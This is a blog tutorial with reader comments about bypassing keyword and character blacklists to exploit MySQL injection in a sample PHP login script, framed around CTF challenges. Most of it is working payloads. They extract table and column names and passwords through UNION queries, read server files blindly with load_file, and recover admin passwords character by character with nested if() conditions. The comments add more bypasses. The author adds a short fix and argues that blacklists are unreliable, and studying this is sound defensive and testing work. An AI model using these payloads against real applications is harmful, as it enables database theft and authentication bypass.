While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance.
For the following examples I’ll use this basic vulnerable PHP script:
<?php // DB connection $id = $_GET['id']; $pass = mysql_real_escape_string($_GET['pass']); $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); if($data = @mysql_fetch_array($result)) echo "Welcome ${data['name']}"; ?>
Note: the webapplication displays only the name of the first row of the sql resultset.
Warmup
Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability:
?id=1 and 1=0-- -
?id=1 and 1=1-- -
You also might want to see all usernames by iterating through limit (x):
?id=1 or 1=1 LIMIT x,1-- -
But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area.
So you would like to know what the table and column names are and you try the following:
?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- -
?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -
After you have found interesting tables and its column names you can start to extract data.
?id=1 and 1=0 union select null,password,null from users limit 1,1-- -
Ok thats enough for warming up.
Whitespaces, quotes and slashes filtered
Of course things aren’t that easy most time. Now consider the following filter for some extra characters:
if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes
As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often).
?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)
Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability).
?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#
Instead of a quoted string we can use the SQL hex representation of the found table name:
?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#
Nice.
Basic keywords filtered
Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”:
if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|null|where|limit)/i', $id)) exit('attack'); // no sqli keywords
For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result:
?id=1#
?id=2-1#
To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have:
?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#
This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars.
WHERE alternative
The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING.
First we have a look which databases are available:
?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#
This will definitely fit into 1024 chars, but you can also use database() to get the current database name:
?id=(0)union(select(0),database(),(0))#
Lets assume your database name is “test” which hex representation is “0x74657374”. Then we can use HAVING to get all table names associated with the database “test” without using WHERE:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#
Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#
We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names:
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#
Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step.
intermediate result
What do we need for our injections so far?
keywords: “union”, “select”, “from”,”having”
characters: (),._# (& or “and”)
String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”:
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))#
advanced keyword filtering
Now its getting difficult. The filter also checks for all keywords previously needed:
if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|where|limit)/i', $id)) exit('attack'); // no sqli keywords if(preg_match('/(union|select|from|having)/i', $id)) exit('attack'); // no sqli keywords
What option do we have left?
If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list:
?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))
This will return the length of the file content or – if the file could not be read – a “1” and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char:
?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)
(while $char is the character in sql hex which is compared to the current character of the file at offset $x)
We bypassed the filter but it requires the FILE privilege.
filtering everything
Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter:
if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|not)/i', $id)) exit('attack'); // no sqli boolean keywords if(preg_match('/(union|select|from|where)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(group|order|having|limit)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(into|file|case)/i', $id)) exit('attack'); // no sqli operators if(preg_match('/(--|#|\/\*)/', $id)) exit('attack'); // no sqli comments
The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left?
We cant use procedure analyse() because it needs a space and we cant use the ‘1’%’0′ trick. Basically we only have special characters left, but that is often all we need.
We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
So how do we access them blindly? A usual blind SQLi would look like the following:
?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)
This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a’:
?id=1&&mid(pass,1,1)=(0x61);%00
We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids:
?id=2&&mid(pass,1,1)=(0x61);%00
?id=3&&mid(pass,1,1)=(0x61);%00
Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like:
?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00
The first attempt could be:
?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00
That does not work because the “OR 1=1” at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1” at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s:
?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00
If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter.
filtering everything and even more
What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”.
if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|or|null|not)/i', $id)) exit('attack'); // no sqli boolean keywords if(preg_match('/(union|select|from|where)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(group|order|having|limit)/i', $id)) exit('attack'); // no sqli select keywords if(preg_match('/(into|file|case)/i', $id)) exit('attack'); // no sqli operators if(preg_match('/(--|#|\/\*)/', $id)) exit('attack'); // no sqli comments if(preg_match('/(=|&|\|)/', $id)) exit('attack'); // no boolean operators
Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.:
?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00
The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators?
After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin’:
?id=if((name)like(0x61646D696E),1,0);%00
This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1:
?id=if((name)like(0x61646D696E),id,0);%00
Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection:
?id= if( // if (it gets true if the name='admin') if((name)like(0x61646D696E),1,0), // then (if first password char='a' return admin id, else 0) if(mid((password),1,1)like(0x61),id,0), // else (return 0) 0 );%00
Injection in one line:
?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00
Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet!
Conclusion
(My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time.
If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ?
Edit:
Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query.
Here is a safe patch for the example:
$id = (int) $_GET['id']; $pass = mysql_real_escape_string($_GET['pass']); $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");
For more details have a look at the comments.
Is their anyway to bypass filters that disallow everything including the null byte (%00) like the phpBB mod CBACK Cracker Tracker?
I am only aware of those 4 techniques but in the most cases you don’t need a comment at the ending of your injection. What exactly is the disturbing part at the end of the query?
Why don’t you just use prepared statements? I used to do stuff like mysql_escape_string etc., but the code is so much simpler
Just use “SELECT * FROM tb WHERE a=?” or “SELECT * FROM tb WHERE a=:name” if you prefer.
If you use PDO you also get a more neutral way of querying the database. You never know when you decide to switch to pgsql 🙂
Out of curiosity, do these attack vectors still apply to MySQL prepared statements? From your query example, the prepped version would read “SELECT id,name,pass FROM users WHERE id = ? AND pass = ?” and the two parameters would be passed in as an array of strings.
those attacks don’t work with prepared statements and thats why I didn’t use them for a SQL injection example 😉
Very nice article, a lot of interesting ways to bypass filters indeed. Thanks, will come in handy as reference material.
There must be something I don’t get… if I were writing the above PHP code, I would simply use $id = intval($_REQUEST[“id”]) and that would take care of any of the techniques you use here.
Even if I wanted to detect an attack with a regexp, I would use a whitelist, not a blacklist, and report as an attack anything that does not match /\d+/
Have I missed something?
Hi ,,
there is no way to bypass intval() yet ?
no
what about filtering parentheses?
@DiabloHorn: thanks, glad you like it =)
@xpmatteo: you are absolutely right, but unfortunately there are more developers that do not know how to prevent SQL injection correctly as you believe. Also, they may implement a global filter or IDS (think of mod_security for example, not only code in the application itself) and trust that it will detect attacks by keywords.
@anonnn: thats getting very tough if you add all other filters. but I think there is a way and not only a “or 1=1” (?id=1<2;%00)
Why would the coder escape one variable and not the other?
By the way, instead of parentheses, MySQL often lets you replace all spaces with comments like so:
‘/**/union/**/all/**/select/**/…
Of course, you’re filtering on slashes so that wouldn’t work in this case. The parens trick is very cool, I haven’t seen it before. I recently found a MySQL injection vulnerability where it wasn’t filtered, but the parameter was taken literally from the URL, without URL decoding, so no spaces for that reason, and the comment-style spacing worked well in that situation.
Some of my favorite bypasses have been for Proventia and Tipping Point IPS systems (sometimes my clients tell me after the fact). You have to jump through all sorts of hoops, but you can almost always get at least some sort of bitwise or timing exploit working.
Also, you gotta love Microsoft SQL, as long as you can use spaces, @ sign, select and exec I think you’re good. I.e. declare @foo sysname select @foo=0xSOMEHEXHERE exec @foo. It’s good for educating people who, instead of switching to parameterized prepared statements, or even validating their integer parameters properly (honestly, just check that id =~ /^\d{1,10}$/), instead they just filtered out single quotes and a few other “known bad” characters, and come back and ask for a retest.
Anyhow, great article, I learned a few new tricks.
It’s not a security blog if all you’re doing is telling people how to hack into a site. It would have been if you mentioned xpmatteo’s trick.
@malcontent: imagine the coder wrote:
$id = mysql_real_escape_string($_GET[‘id’]);
Maybe this would be more realistic since it might look secure to the coder but the vulnerability still remains because $id is not embedded in quotes in the query. The filter evasions would work the same. Anyhow, it doesn’t matter because the fact is that coders write insecure code and my code was just an example to show the filter evasions. Next time I’ll use a more realistic example, I promise 😉
A really simple fix would be $id = (int)$_GET[‘id’];
Tada.
@Michiel van der Blonk: Ok I’ll add short securing instructions the next time although I expect the reader of a advanced SQLi post to know about SQLi and how to secure it properly. I also wrote a blogpost some years ago about it and there are several comments about it now (although I think some might have missed the sense of this post).
But while the securing mechanisms don’t change over the years (and repeating the same stuff over and over again is boring) the attack space for vulnerable SQLi is evolving rapidly and there are lots of general filters, WAFs and IDS promising to secure your webapp by regex/keywords. Researching the attackers possibilities in such scenarios can help to improve this kind of software, helps you to understand what attackers are capable of, helps pentesters to evaluate a hard filtered SQLi and mainly: is absolutely fun 😉 So it has a lot to do with security, not only insecurity.
/**/union/**/all/**/select/**/… << true , this is nice but WAF/applications tends to block " /* " nowadays rendering it useless but not all though.
@Reiners
Nice tutorial, didn't know this method though.
If you use so much regex in your code , wouldn't it exhaust the server ?? The code would exist theoretically but I don't think any normal site would be able to resist it though.(especially if the traffic is high)
btw,I don't know why ,did you noticed that webmasters LOVE to use addslashes or magic_quote_gpc.(which is easy to be bypassed eventhough it filters quote and null byte).
another thing , is it me or I haven't seen anyone posted an alternative for database() ??
I haven't seen it in any paper though.
@hexon: we will see what happens when php6 is available and magic_quotes_gpc is removed 😉
to get the database name you can use (depending on your privileges):
SELECT database()
SELECT group_concat(db) FROM mysql.db
SELECT group_concat(schema_name) FROM information_schema.schemata
but thats known for long time, maybe there are other ways I don’t know of.
@Reiners
Yeah, I know magic_quotes_gpc will be removed in PHP6 but addslashes is still valid right ??
Yeah , I know those methods , just thinking whether there is other methods or not.
Nice article overall. One thing though – If ‘OR’ is filtered then infORmation_schema is gone and its more laborious. I spent 15 minutes figuring out what was happening. Maybe a correction in the article?
One more … while filtering out comments if you filter out \/* .. it results in everything getting blocked; even a simple alphanumeric input like username=admin :). The right way is as follows:
if(preg_match(‘/(–|#|\/\*)/’, $id)) {
exit(“Found suspicious comments”);
}
oh thanks for pointing out, I’ll fix it. I didn’t actually used “or” in the previous queries but I thought it would make the filter even tougher – too tough it seems 😉
And one last clarification(maybe correction?) .. The if() that you use in the last part of the document. If boolean operators are all blocked (and or & | ) as well as select and union .. how can I combine the if() clause with the parent query?
The result of a WHERE clause in a Select statement is always a ‘True’ or ‘False’ . So after I inject my SQL string also, the result should still remain true or false.
For eg. This works:
username=admin’or(IF((1)like(1),1,0));%00
username=admin’and(IF((1)like(1),1,0));%00
Same logic directly at the MySQL level:
mysql> select username from users where username=’admin’&&IF((1)like(1),1,0);
+———-+
| username |
+———-+
| admin |
+———-+
1 row in set (0.01 sec)
But without some combining operator, I cannot seem to make it work. Without operators there seems to be no way to ‘combine’ my bad SQL statement with the existing statements so it’ll evaluate to a ‘true’ or a ‘false’. Will be good if you can clarify.
p.s.. Overall quite educational, though it took me almost 2 days to test everything completely 😉
I’m glad someone is playing with this stuff, not only reading through 😉
after the injection (note the parameter ?id=if(…) at the beginning) the query will look like:
SELECT id,name,pass FROM users WHERE id = if(…);
The important part is that we can start right away with SQL syntax without breaking out of quotes first.
if we inject only a “id” (?id=id) we will get the same result as a ” or 1=1″:
SELECT id,name,pass FROM users WHERE id = id;
now we can add more conditions to return only the id of a specific “name”:
SELECT id,name,pass FROM users WHERE id = if(name=”admin”,id,0);
and then we add more conditions in nested if clauses like stated in the article to look if our assumption on the password letter is correct or not.
(note that I ignored the check on the pass because we comment it out)
hope this was clear enough, otherwise feel free to ask again.
Yeah that works well , wonder why it didn’t earlier. Nice way to enumerate passwords of all id’s:
id=if((password)like(‘ad%’),2,0);%00
id=if((password)like(‘da%’),4,0);%00
However again, if you are using a varchar data type in the backend which is vulnerable , this doesnt work. Also if single quote gets filtered as earlier in the article a lot of it flunks. How do you handle that?
As in generally , if you just blacklist ‘ it seems to stop all sql injections for varchar vuln fields. Is that right? So till we find an alt for quotes its a problem injecting.
if you are injecting into embedded quotes like:
select * from users where name = ‘$name’;
then filtering or escaping quotes is enough for securing.
however keep in mind, that the following query is exploitable, even if you filter quotes:
select * from users where name = ‘$name’ and pass=’$pass’;
?name=aa\&pass= or 1=1– –
will become:
select * from users where name = ‘aa\’ and pass=‘ or 1=1– -‘;
(note that the bold part including some SQL syntax is now the name)
So to secure strings embedded in quotes you need to escape quotes AND backslashes, thats exactly what mysql_real_escape_string() does.
Thank you for document. is great post.
Hey,
thanks for the great tutorial but I got another question. Let’s say there and SQL query like
select veranstaltungen.id, veranstaltungen_bezeichnung.text_de as list_titel, veranstaltungen.datum as list_datum, adresse.ort as list_ort, CASE WHEN veranstaltungen.ausverkauft = 1 THEN ‘gif here’
ELSE
CASE WHEN faellt_aus = 1 THEN ‘gif here’
ELSE ‘gif here’
END
END as ‘ ‘ from veranstaltungen inner join spielstaette on spielstaette.id = spielstaetten_id inner join sparte on sparte.id = sparten_id inner join text as veranstaltungen_bezeichnung on veranstaltungen_bezeichnung.id = veranstaltungen.bezeichnung inner join text as sparte_name on sparte_name.id = sparte.name inner join adresse on adresse.id = spielstaette.adressen_id where loeschen=’0′ and (veranstaltungen.partner=’1011′ or veranstaltungen.partner=’0’) and veranstaltungen.datum >= ‘20100406000000’ and frei_gegeben=’1′ and veranstaltungen.datum < '20100705000000' and sparte_name.text_de="Kabarett/Comedy" order by "list_datum" Limit 10,10 statement?/*, 10
Pretty long query but it doesn't really matter in that case. My question is, is there a way to inject after the limit? I get an sql error when I try to like "AnD 1=1" for example. I already googled but I didn't really find a satisfying answer.
I don’t know if It’s new but I found that these statements work as intended.
select id from hosts where id=2 and .1=.1;
select id from hosts where id=2 or .1=.1;
Also @=@ is apparently always false:
select id from table where id=1 or @=@;
–>1
select id from table where id=1 and @=@;
–>empty set
Without LIKE or “=”, we can use logical and mathematical operators such as ^, &, |, and +, -, *, /.
For example, using xor operation and assuming that 3 is a valid id, we want to know if [Y]=’A’; ‘A’ has ascii code 65.
We have : 65^66 = 3
Then we try: ?id=66^ORD([Y])
If there is a result, then 66^ORD([Y]) == 3, so [Y] == ‘A’.
If not, [Y] != ‘A’.
Nice, Thank you for this Post.
nice article
but im wondering is there anyway to bypass filtering
information_schema.tables ?
if the string is filtered you can use:
information_schema.`tables`
but if you are looking for alternatives have a look at
https://websec.wordpress.com/2009/11/26/mysql-table-and-column-names-update-2/
https://websec.wordpress.com/2009/01/26/mysql-table-and-column-names-update/
https://websec.wordpress.com/2007/11/17/mysql-table-and-column-names/
Also remember that table names can oftenly guessed and for an auth bypass you need only SQL logic.
Awesome article. Learnt tons of new things! Thanks! 🙂
I am wondering how you would read from another table if the FROM statement was filtered?
I couldn’t think of a way…
How would it be “select(column)from(table as t)” without space and “=”?
I don’t get it
select(column)from(table`t`)
what if I have this query?
SELECT PersonID, Password, Username, Token, Peanuts, Profile FROM Person WHERE Username = ‘$username’ AND Password = ‘password’;
How do I exploit the username without using quotes?
?username=foo\
&password= or 1=1– –
if backslash is escaped also then this is not a SQLi vulnerability.
Damn, it is escaped. I’m actually doing a security project and I have to do SQL injection. Do you have some stuff about htmlentities?
if your userinput is filtered with htmlentities() then the parameter ENT_QUOTES must be set. otherwise single quotes will not be replaced by their html entity representation thus allowing to break out of the SQL code and inject own SQL syntax. htmlentities does not convert the backslash to any html representation and therefore should never be used to secure against SQL injection as demonstrated in the last reply.
Actually I’m at lost here. I have a login form that is echoed htmlspecialchars($_POST[‘login_username’]); on the value of the username input tag by php. However, when I send the form it gets preg_match like this:
$sanitizingRegex = “/[0-9a-zA-Z]*/”;
if (preg_match($sanitizingRegex, $username))
Now, from the logic there I know that the login only checks by using preg_match right? However, I can’t use any suggestion in this post since I’m wound up on how to get by the quotes.
the regex actually does not filter anything. it checks if there are alphanumerical characters in the username, but the username 1′ or 1=1– – is totally valid for this regex because it has alphanumerical chars in it. also the whole regex is just optional (note the *). happy injecting.
Yeah, I’ve tried that. However, that is not working. That’s why I’m beginning to wonder if the htmlentities() is actually working to sanitize the username which is not logical to me. I guess I’m missing something here.
Ok, never mind that. Changing topics, if the sql restricts “select”, “from”, “union”, and all types of join, how do I get by without using load_file?
then you can still access columns that are already in the field list (already selected in the original query). If they are shown in the HTML output, a simple “or 1=1” is sufficient, otherwise you can still access them blindly, i.e.:
‘ and substr(pass,1,1) = ‘a
To get the column names you could be lucky and use procedure analyse() or you need to bruteforce them (if not open source software).
I’ll release some slides next week regarding this topic more intense.
Great post, but i still have a question though.what is the solution when words like union , select , from are filtered, for exaple i have a website, which filters the word “from”, any suggestions to bypass that?
Hi The Moorish,
just read one comment above: access columns from the same table as selected in the original query or use the file priv (if you have it). Without the plain “from” you want be able to access other tables with union or subselects. however most times “from” is not filtered by itself but together with connected keyworkds like “select * from”. then it is most times easy to bypass the filter with special characters. just wait until tuesday for some slides I’ll release with more tricks about that.
thank you for your feedback!
Exactely, I’ve just figured out that “from” is not filtered by itself but only when i add “union” or “select” with it…Awesome I’ll wait untill tuesday,Thank you!
$sql= “SELECT * FROM admin WHERE user=’Admin’ AND passwd='” .
utf8_decode(mysql_real_escape_string($_GET[‘pass’])) . “‘ LIMIT 1”;
$eks= mysql_query($sql);
$row = mysql_fetch_assoc($eks);
how to bypass if the code as above?
Thanks
Thank you sir.
I’ve learned a lot from this post. The last part was just awesome..
so, how to bypass parenthesis filtering? I’ve search every where and cannot find it.
There is no way to bypass it. If parenthesis are filtered you can still “union select” etc, but in a blind SQLi scenario you are most likely screwed.
have you try this challenges https://reward.onsec.ru 😀
it filtered parenthesis, union select, and , as well
What about filter using this?
if (!(eregi(“[^a-zA-Z0-9_-]”, $_GET[“user”])))
It only accept alphanumeric entries for “user”
Could it be bypassed?
In earlier PHP versions eregi is null byte affected and can be bypassed.
When preg_match is used, it is not bypassable.
On the last comment, I mean using preg_match() instead of eregi() which is obsolete.
Is there a way to bypass preg_match(‘~\([^)]*?select~s’, $query), to introduce valid subselects into a query?
Hurrah! Finally I got a blog from where Iknow how to genuinely
obtain valuable information regarding my study andd knowledge.
What if both “(” and “)” is filtered out…
And situation is filtering everything
if(preg_match(‘/(union|select|from|information_schema)/i’, $id))
what should i do…. pls~
This is the best material about sqli I have come across. Really really good. clearly explained too. soo good
Its 8 years later. But still such good learning material.